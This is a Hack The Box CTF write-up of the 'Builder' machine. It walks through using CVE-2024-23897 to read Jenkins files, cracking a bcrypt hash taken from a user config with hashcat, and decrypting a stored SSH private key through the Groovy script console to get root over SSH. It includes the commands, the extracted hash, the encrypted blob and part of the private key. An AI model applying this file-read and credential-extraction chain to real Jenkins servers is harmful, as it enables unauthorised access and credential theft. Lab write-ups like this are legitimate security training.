Builder - HTB Writeup
This post is a writeup for Medium difficulty Hack The Box machine: Builder. In this lab, we leverage CVE-2024-23897 a Local File Inclusion vulnerability to gather credentials for the user jennifer
. From here, after logging into the Jenkins instance we use Jennifer’s account privileges to manually reset the root
user’s password. Which then allowed us to view/edit the SSH key information. From there, we use the SSH key to easily log into the machine and get the root
flag!
Enumeration
Starting off with a full port scan, only scanning open ports and a minimum rate of 10000.
nmap -p- --open --min-rate 10000 $IP -oN init.scan
22/tcp open ssh
8080/tcp open http-proxy
Now… moving on to a service version(-sCV
)m TCP(sT
) scan + OS detection(-O
) scan:
nmap -p22,8080 -sCVT -O $IP
-----
Nmap 7.94SVN scan initiated Sun May 5 14:20:33 2024 as: nmap -p22,8080 -sCVT -O -oN scvt-o.scan 10.129.230.220
Nmap scan report for 10.129.230.220
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 5 14:21:21 2024 -- 1 IP address (1 host up) scanned in 47.58 seconds
Site on Port 8080
Next, I then opened the page on port 8080
, which brought me to a Jenkins
(v2.441
) home page.
CVE-2024-23897
A quck google for Jenkins 2.441 exploits
brings up CVE-2024-23897.
Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
This is not all however, CVE-2024-23897 opens multiple attack vectors, leveraging the ability to obtain cryptographic keys and other sensitive data from binary files. The confirmed possible attacks include, but are not limited to:
- RCE through Resource Root URLs.
- RCE via “Remember me” cookie.
- RCE through stored cross-site scripting (XSS) in build logs.
- CSRF protection bypass leading to RCE.
- Decrypting secrets stored in Jenkins.
- Deletion of items in Jenkins.
- Downloading a Java heap dump of the Jenkins controller process.
Heading over to the exploit-db script we found and downloading it, we can first test this out with /etc/passwd
which works like a charm. I know from a prefious challenge that the default home user directory running the Jenkins instance is at the path /var/jenkins_home
I then simply appended /user.txt
to the path, making the full path: /var/jenkins_home/user.txt
. Putting this through the exploit script, I was able to use the LFI to read the user flag. The next step will be to get a shell on the target as root
. There are multiple ways of doing so in this situation.
Shell as Root
After a bit of googling and manually spinning up a jenkins to inspect the file paths locally using the latest Jenkins docker
image, as well as going through the Jenkins documentation… I found that you can get a file called users.xml
from /var/jenkins_home/users/users.xml
which will return user configuration information. After running the script using this path here is the result:
python exploit.py -u "http://$IP:8080/" -p /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>jennifer</string>
<version>1</version>
</hudson.model.UserIdMapper>
</idToDirectoryNameMap>
<hudson.model.UserIdMapper>
</entry>
Username found: jennifer
To get the password, we simply take the value in the <string>VAL_HERE</string>
tags as the directory name, and grab the config.xml
file as follows:
python exploit.py -u "http://$IP:8080/" -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">
<hudson.search.UserSearchProperty>
<roles>
<jenkins.security.seed.UserSeedProperty>
</tokenStore>
</hudson.search.UserSearchProperty>
<timeZoneName></timeZoneName>
<properties>
<jenkins.security.LastGrantedAuthoritiesProperty>
<flags/>
<hudson.model.MyViewsProperty>
</user>
</jenkins.security.ApiTokenProperty>
<views>
<string>authenticated</string>
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">
<user>
<name>all</name>
<description></description>
<emailAddress>jennifer@builder.htb</emailAddress>
<collapsed/>
</jenkins.security.seed.UserSeedProperty>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
</hudson.model.MyViewsProperty>
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
<filterQueue>false</filterQueue>
<jenkins.security.ApiTokenProperty>
<primaryViewName></primaryViewName>
</views>
</hudson.model.TimeZoneProperty>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
</hudson.model.PaneStatusProperties>
</hudson.tasks.Mailer_-UserProperty>
<tokenList/>
<jenkins.console.ConsoleUrlProviderUserProperty/>
</hudson.model.AllView>
<timestamp>1707318554385</timestamp>
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>
</properties>
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<insensitiveSearch>true</insensitiveSearch>
<properties class="hudson.model.View$PropertyList"/>
<hudson.model.TimeZoneProperty>
<hudson.model.AllView>
</hudson.security.HudsonPrivateSecurityRealm_-Details>
<providerId>default</providerId>
</roles>
</jenkins.security.LastGrantedAuthoritiesProperty>
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
<hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
<fullName>jennifer</fullName>
<seed>6841d11dc1de101d</seed>
<id>jennifer</id>
<version>10</version>
<tokenStore>
<filterExecutors>false</filterExecutors>
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
Hash found: $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Running this through hashid
:
hashid -m 'a.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
Analyzing 'a.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
And running that through hashcat:
hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt
(user:pass) - jennifer:[REDACTED]
Now with the password we get back from cracking the hash, we can log in and begin further enumeration! I should note that after cracking the hash, I attempted to get the master.key
file from $HOME/secrets/master.key
, which was successful, however the key appears to be encrypted.
Using this page on github, I found a script that should decrypt the private ssh key in credentials.xml
, all I need to do is grab: hudson.util.Secret
and I should be able to successfully decrypt the key.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
Trying this out had unfortunately no luck, although it was worth a try. Would have made for a pretty easy solution all things considered.
To recover the Private SSH key, I instead went with a much more direct path outlined in this blog post. From the jenkins management interface, I went through all the options; with the ability to modify user credentials as my target. Under the user management page was only the user root
. And when clicking on it, we could see that there was an OpenSSH Private key present although we could not view it/edit it. But we COULD change the password set on root
. Before doing so, I was able to find the SSH private key in a hidden parameter in the HTML source code, but I also could’ve easily just used the key I got earlier from credentials.xml
as they are the same. After changing the password, I went over to /scripts
in which the Groovy script console was in which I could run arbitrary Groovy code. With this in mind, I used some of Jenkins’ build in functionality to successfully decrypt the root
user’s private key:
println hudson.util.Secret.decrypt("{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}")
After clicking on run
for the code above, it then proceeds to decrypt and print out the key successfully as:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv
Up2m70MKGF5e+s1KZZw7gQbVHRI0U+2t/u8A5dJJsU9DVf9w54N08IjvPK/cgFEYcyRXWA
EYz0+41fcDjGyzO9dlNlJ/w2NRP2xFg4+vYxX+tpq6G5Fnhhd5mCwUyAu7VKw4cVS36CNx
[SNIP]...
.
.
.
.
.
...[SNIP]
kf/kItJ6MLqM//+tkgYcOniEtG3oswTQPsTvL3ANSKKbdUKlSFQwTMJfbQeKf/t9FeO4lj
evzavyYcyj1XKmOPMi0l0wVdopfrkOuQAAAMEA7ROUfHAI4Ngpx5Kvq7bBP8mjxCk6eraR
aplTGWuSRhN8TmYx22P/9QS6wK0fwsuOQSYZQ4LNBi9oS/Tm/6Cby3i/s1BB+CxK0dwf5t
QMFbkG/t5z/YUA958Fubc6fuHSBb3D1P8A7HGk4fsxnXd1KqRWC8HMTSDKUP1JhPe2rqVG
P3vbriPPT8CI7s2jf21LZ68tBL9VgHsFYw6xgyAI9k1+sW4s+pq6cMor++ICzT++CCMVmP
iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
To get the root flag and complete the challenge, run:
chmod 600 <ssh_key> # set to correct permissions for private SSH key.
ssh -i <ssh_key> root@IP # SSH using the private key to successfully perform authentication as root.
From here, we are able to log in and get the root flag!